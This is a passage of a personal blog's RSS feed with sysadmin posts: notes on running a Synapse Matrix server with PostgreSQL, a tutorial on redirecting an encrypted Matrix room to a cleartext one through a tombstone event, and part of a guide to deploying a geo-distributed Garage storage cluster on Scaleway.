&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Synapse&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Announcements&lt;/span&gt;          &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iyIlInqJyxXrRmRHFx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;matrix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;                 &lt;span class=&quot;mi&quot;&gt;2544&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;quelques-changements-de-configuration&quot;&gt;Quelques changements de configuration&lt;/h2&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;presence&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;limit_remote_rooms&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;complexity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;3.0&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;complexity_error&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Ce&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;salon&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;de&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;discussion&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;trop&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;d&apos;activité,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;le&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;serveur&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;n&apos;est&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;pas&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;assez&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;puissant&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;pour&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;le&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;rejoindre.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;N&apos;hésitez&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;pas&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;à&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;remonter&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;l&apos;information&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;à&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;l&apos;équipe&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;technique,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;nous&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;pourrons&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ajuster&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;la&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;limitation&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;au&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;besoin.&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;admins_can_join&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;retention&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# no default policy for now, this is intended. &lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# DO NOT ADD ONE BECAUSE THIS IS DANGEROUS AND WILL DELETE CONTENT WE WANT TO KEEP!&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;purge_jobs&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;interval&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;1d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;vacuum-full-et-tablespace-un-duo-de-choc&quot;&gt;VACUUM FULL et Tablespace, un duo de choc&lt;/h2&gt;

&lt;p&gt;Un tablespace est un concept dans PostgreSQL qui permet de stocker les données d’une database à un autre emplacement sur le disque. Dans notre cas, on a une configuration avec un petit SSD et un gros HDD. J’ai créé un tablespace sur le HDD pour la base de donnée Synapse, qui avait donc plein d’espace à elle, ce qui m’a permis de lancer un VACUUM FULL.&lt;/p&gt;

&lt;h2 id=&quot;quand-le-wal-te-met-au-pied-du-mur&quot;&gt;Quand le WAL te met au pied du mur&lt;/h2&gt;

&lt;p&gt;PostgreSQL, pour gérer sa réplication, envoie un WAL, Write-Ahead Log. C’est à dire toutes les modifications à faire pour arriver à l’état actuel. Malheureusement il n’y aucun mécanisme de control flow pour gérer ce WAL : autrement dit, la base de donnée ne ralentit pas son travail pour que le WAL reste à une taille constante. On a donc le problème traditionnel des files d’attentes, avec une file qui grandit à une taille infinie. La plupart du temps en réalité ça ne pose pas problème car la base de donnée est moins sollicitée que la vitesse à laquelle elle est capable d’envoyer le WAL. Mais un VACUUM va créer une quantité énorme d’entrée WAL, de l’ordre de la taille de la table qui est nettoyée, et à une vitesse proche de la vitesse théorique du support de stockage, soit plus rapide que le réseau 100Mbit/s que l’on avait dans le cas d’un SSD. Ajouté à ça qu’un des réplicas utilisait un SSD défaillant qui lisait/écrivait à plus que quelques 10Mbit/s, toute tentative de maintenance résultait en un remplissage des SSD avec du WAL…&lt;/p&gt;

&lt;h2 id=&quot;stolon--initialisation-mise-à-jour-et-subtilités&quot;&gt;Stolon : initialisation, mise à jour et subtilités&lt;/h2&gt;

&lt;p&gt;keeper a besoin de la libc&lt;/p&gt;

&lt;p&gt;très facile de flush totalement le cluster : reinit le cluster&lt;/p&gt;

&lt;p&gt;import/export sql, le trick de pv :P&lt;/p&gt;

&lt;h2 id=&quot;dautres-outils&quot;&gt;D’autres outils&lt;/h2&gt;

</description>
        <pubDate>Tue, 28 Feb 2023 11:06:23 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2023-02-28/chroniques-administration-synapse/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2023-02-28/chroniques-administration-synapse/</guid>
      </item>
    
    
    
      <item>
        <title>Matrix: Migrate an encrypted room to a clear text one</title>
        
        <description>&lt;p&gt;Some time ago, the Matrix team was pushing hard E2EE and activated it for all created rooms.
Believing encryption was the future, we kept this default for all of our rooms.
But now that one of our room starts being popular, it appears that E2EE does not work well with public rooms:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;the history is not available to newcomers&lt;/li&gt;
  &lt;li&gt;we can not search the history of an encrypted room (or at least, I never managed to make it work even with the desktop app)&lt;/li&gt;
  &lt;li&gt;notification options are more limited&lt;/li&gt;
  &lt;li&gt;scaling issues&lt;/li&gt;
  &lt;li&gt;many additional minor issues&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It seems that Matrix developers are aware of these problems as if you create a “public room” now, you will not be proposed to encrypt it.
But for existing rooms, we still have a problem: for security reasons, you can’t disable encryption in a room.
Our only option is to create a new room and to point the old one to the new one.&lt;/p&gt;

&lt;p&gt;Thankfully, Matrix has a feature named &lt;strong&gt;Tombstone&lt;/strong&gt; that helps redirecting users from one room to another.
This feature is used for room version upgrade, but we can “abuse” it to redirect people to a completely different room.&lt;/p&gt;

&lt;p&gt;First, you must create a new clear text room.
To provide the best experience to your users, take time to configure its picture, description, and so on.
Now, go to your old room, remove all its aliases to be able to set them on the new room.
You can set a new alias for your old room and send a message containing it on your new room, to “connect it with the old one”, eg:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hi, this is the beginning of the history of this room. If you want to go back even more in time, check the old room: #myroom-old:example.tld&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Finally, you need the identifier of your &lt;strong&gt;new&lt;/strong&gt; room. It starts with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!&lt;/code&gt;. For example: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!ARbIZeDKGloDOnjyyw:deuxfleurs.fr&lt;/code&gt;.
Keep it somewhere accessible, and we are done configuring our new room.&lt;/p&gt;

&lt;p&gt;We can now prepare the tombstone for the old room.
First, you should inform your users with a message, something like:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hi @room, we are migrating to a new room to fix some issues with this one. 
You will not be able to post new messages here, please follow the provided redirection to join the new room. 
Sorry for the inconvenience.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now we will prepare a &lt;strong&gt;state event&lt;/strong&gt; that point to the &lt;strong&gt;new&lt;/strong&gt; room, create a file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;migration.json&lt;/code&gt;
based on the following template:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;body&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;We migrated to a cleartext rooms as E2EE does not work well with large public rooms&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;replacement_room&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;!ARbIZeDKGloDOnjyyw:deuxfleurs.fr&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This event must be sent in the &lt;strong&gt;old&lt;/strong&gt; room. Let’s say its identifier is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!MFnHRRrCTMeHvfnNUD:deuxfleurs.fr&lt;/code&gt;.
The URL template is thus:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://im.deuxfleurs.fr/_matrix/client/v3/rooms/!MFnHRRrCTMeHvfnNUD:deuxfleurs.fr/state/m.room.tombstone
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The last thing we need is to build an header file containing the required information for authentication onto the API.
Create a file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hdrs.txt&lt;/code&gt; based on the following template.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Authorization: Bearer see_below_how_you_can_find_me
Content-Type: application/json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;The authorization header can be extracted from an Element Web instance by opening the developer panel (F12) and going to the Network tab.
Then select a request going to your matrix backend, on the right part of your screen search the “Authorization” line and copy/paste its value.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Finally you can send the request to the API by again adapting the following command template:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; @hdrs.txt &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; PUT &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; @migration.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;&apos;https://im.deuxfleurs.fr/_matrix/client/v3/rooms/!MFnHRRrCTMeHvfnNUD:deuxfleurs.fr/state/m.room.tombstone&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And that’s all, you have migrated your old encrypted room to a new clear text one!&lt;/p&gt;

&lt;p&gt;If you want to explore all the possibilities offered by the developer tools, you can read &lt;a href=&quot;https://spec.matrix.org/&quot;&gt;Matrix specification&lt;/a&gt;.
For example, our tombstone event is documented here: &lt;a href=&quot;https://spec.matrix.org/v1.2/client-server-api/#mroomtombstone&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;m.room.tombstone&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 24 Mar 2022 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2022-03-24/matrix-migrate-encrypted-room-to-a-clear-text-one/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2022-03-24/matrix-migrate-encrypted-room-to-a-clear-text-one/</guid>
      </item>
    
    
    
      <item>
        <title>A quick tour of Garage</title>
        
        <description>&lt;p&gt;&lt;a href=&quot;https://garagehq.deuxfleurs.fr&quot;&gt;Garage&lt;/a&gt; is an object storage platform that can be used as a drop-in replacement for AWS S3.
It is designed to run on bare metal hardware and has no dependency on any cloud provider.
In this article, I quickly deploy a geo-distributed Garage cluster and use it as a backend for Nextcloud.&lt;/p&gt;

&lt;p&gt;I chose to use a cloud platform (Scaleway) to easily and quickly spawn geo-distributed machines.
To abstract our machines deployment, I wrote a small tool named &lt;a href=&quot;https://git.deuxfleurs.fr/quentin/nuage&quot;&gt;nuage&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You will need a working account on &lt;a href=&quot;https://console.scaleway.com&quot;&gt;Scaleway&lt;/a&gt;.
Then, we will need to install some tools on our machine (be sure to have &lt;a href=&quot;https://golang.org&quot;&gt;go&lt;/a&gt; installed).&lt;/p&gt;

&lt;p&gt;Let’s install Scaleway’s CLI tool:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;curl &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; /usr/local/bin/scw &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://github.com/scaleway/scaleway-cli/releases/download/v2.3.1/scw-2.3.1-linux-x86_64&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo chmod&lt;/span&gt; +x /usr/local/bin/scw
scw init &lt;span class=&quot;c&quot;&gt;# enter your scaleway credentials&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And my helper to easily deploy instances on Scaleway:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;go &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;git.deuxfleurs.fr/quentin/nuage@latest
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PATH&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/go/bin&quot;&lt;/span&gt;
nuage &lt;span class=&quot;c&quot;&gt;# display how to use the tool&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, we are ready to spawn some machines!&lt;/p&gt;

&lt;h2 id=&quot;spawn-machines&quot;&gt;Spawn machines&lt;/h2&gt;

&lt;p&gt;We start by creating our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nuage&lt;/code&gt; inventory in a file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;garage_inventory.txt&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fr-par-1 dev1-s debian_bullseye garage-fr-1
fr-par-1 dev1-s debian_bullseye garage-fr-2
pl-waw-1 dev1-s debian_bullseye garage-pl-1
pl-waw-1 dev1-s debian_bullseye garage-pl-2
nl-ams-1 dev1-s debian_bullseye garage-nl-1
nl-ams-1 dev1-s debian_bullseye garage-nl-2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then let’s pass it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nuage&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage spawn &amp;lt; ./garage_inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nuage&lt;/code&gt; will spawn 6 machines:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;2 machines in Paris, France&lt;/li&gt;
  &lt;li&gt;2 machines in Warsaw, Poland&lt;/li&gt;
  &lt;li&gt;2 machines in Amsterdam, Netherlands&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All instances will run debian on Scaleway’s cheap &lt;a href=&quot;https://www.scaleway.com/en/pricing/#development-instances&quot;&gt;dev1-s&lt;/a&gt; instances.
For the naming of our instances, we built it following this pattern: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;garage-&amp;lt;zone&amp;gt;-&amp;lt;id&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now, we suppose that the instances are started and your able to login on them, for example:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh root@51.15.227.63
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;some-crypto&quot;&gt;Some crypto&lt;/h2&gt;

&lt;p&gt;Our garage instances will communicate together securely through TLS.
We need to generate some certificates locally that we will deploy on the remote instances later.
To ease the operation, we provide a small handler named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;genkeys.sh&lt;/code&gt; to generate all the needed keys:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://git.deuxfleurs.fr/Deuxfleurs/garage/raw/tag/v0.3.0/genkeys.sh
chmod +x ./genkeys.sh
./genkeys.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you should have a folder named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pki&lt;/code&gt; containing both the key and the certificate for your CA and your end-entity.
Ideally, each node would have its own end-entity certificate but to simplify the configuration, we will use only once in this tour.&lt;/p&gt;

&lt;p&gt;Let’s create a script to deploy our pki:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; deploy_pki.sh &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
#!/bin/bash
mkdir -p /etc/garage/pki
cat &amp;gt; /etc/garage/pki/garage-ca.crt &amp;lt;&amp;lt;EOG
&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;pki/garage-ca.crt&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
EOG
cat &amp;gt; /etc/garage/pki/garage.crt &amp;lt;&amp;lt;EOG
&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;pki/garage.crt&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
EOG
cat &amp;gt; /etc/garage/pki/garage.key &amp;lt;&amp;lt;EOG
&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;pki/garage.key&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
EOG
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then send and execute our generated script on each of our machine.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage run ./deploy_pki.sh &amp;lt; ./garage-inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;configuration&quot;&gt;Configuration&lt;/h2&gt;

&lt;p&gt;Garage needs a small configuration file to work.&lt;/p&gt;

&lt;p&gt;Again, we will write a deployment script.
You must adapt the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bootstrap_peers&lt;/code&gt; section to your instances, you can run again &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nuage spawn &amp;lt; ./garage-inventory.txt&lt;/code&gt; to get their addresses.
Not all IP addresses are needed, after a discovery phase, garage maintains its own list and exchange it regulargy with its peers&lt;/p&gt;

&lt;p&gt;Save the following file as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deploy_conf.sh&lt;/code&gt; once you edited it (we arbitrarily chose to put 3 IPs here):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /etc/garage/config.toml &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
metadata_dir = &quot;/var/lib/garage/meta&quot;
data_dir = &quot;/var/lib/garage/data&quot;
replication_mode = &quot;3&quot;
rpc_bind_addr = &quot;[::]:3901&quot;
bootstrap_peers = [
  &quot;51.15.59.148:3901&quot;,
  &quot;51.15.227.63:3901&quot;,
  &quot;51.15.206.116:3901&quot;,
]
[rpc_tls]
ca_cert = &quot;/etc/garage/pki/garage-ca.crt&quot;
node_cert = &quot;/etc/garage/pki/garage.crt&quot;
node_key = &quot;/etc/garage/pki/garage.key&quot;
[s3_api]
s3_region = &quot;garage&quot;
api_bind_addr = &quot;[::]:3900&quot;
[s3_web]
bind_addr = &quot;[::]:3902&quot;
root_domain = &quot;.web.garage&quot;
index = &quot;index.html&quot;
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And now, the deployment:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage run ./deploy_conf.sh &amp;lt; ./garage-inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;binary-and-service&quot;&gt;Binary and service&lt;/h2&gt;

&lt;p&gt;And this is already the last step of our deployment, installing the binary and the systemd service.
Again, we write a deployment script, named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deploy_bin.sh&lt;/code&gt; this time:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Downloading Garage&lt;/span&gt;
wget https://garagehq.deuxfleurs.fr/_releases/v0.3.0/x86_64-unknown-linux-musl/garage &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; /usr/local/bin/garage
&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x /usr/local/bin/garage
&lt;span class=&quot;c&quot;&gt;# Creating a control command&lt;/span&gt;
